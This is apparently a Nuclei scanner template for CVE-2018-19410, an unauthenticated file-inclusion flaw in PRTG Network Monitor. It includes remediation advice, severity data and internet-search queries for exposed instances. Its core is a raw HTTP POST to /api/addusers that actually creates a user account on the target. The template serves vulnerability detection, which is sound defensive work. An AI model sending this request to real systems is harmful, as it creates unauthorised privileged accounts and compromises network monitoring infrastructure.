PRTG Network Monitor - Local File Inclusion

id: CVE-2018-19410

info:
  name: PRTG Network Monitor - Local File Inclusion
  author: DhiyaneshDK
  severity: critical
  description: |
    PRTG Network Monitor before 18.2.40.1683 allows remote unauthenticated attackers to create users with read-write privileges (including administrator). A remote unauthenticated user can craft an HTTP request and override attributes of the 'include' directive in /public/login.htm and perform a Local File Inclusion attack, by including /api/addusers and executing it. By providing the 'id' and 'users' parameters, an unauthenticated attacker can create a user with read-write privileges (including administrator).
  impact: |
    Unauthenticated attackers can create administrator users with full privileges via local file inclusion, leading to complete compromise of the monitoring system and access to network infrastructure.
  remediation: |
    Upgrade to PRTG Network Monitor version 18.2.40.1683 or later and ensure the /public directory is properly secured.
  reference:
    - https://global.ptsecurity.com/analytics/threatscape/pt-2018-24
    - https://github.com/himash/CVE-2018-19410-POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-19410
    epss-score: 0.85652
    epss-percentile: 0.99694
    cpe: cpe:2.3:a:paessler:prtg_network_monitor:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: paessler
    product: prtg_network_monitor
    shodan-query:
      - http.favicon.hash:"-655683626"
      - http.title:"prtg"
    fofa-query:
      - icon_hash=-655683626
      - title="prtg"
    google-query: intitle:"prtg"
  tags: cve,cve2018,prtg,lfi,kev,vkev,vuln

variables:
  username: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /public/login.htm?file=/api/addusers.htm HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Origin: {{RootURL}}
        Referer: {{RootURL}}

        id=200&users={{username}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Added 1 users'
          - 'prtg'
        part: body
        condition: and

      - type: status
        status:
          - 200
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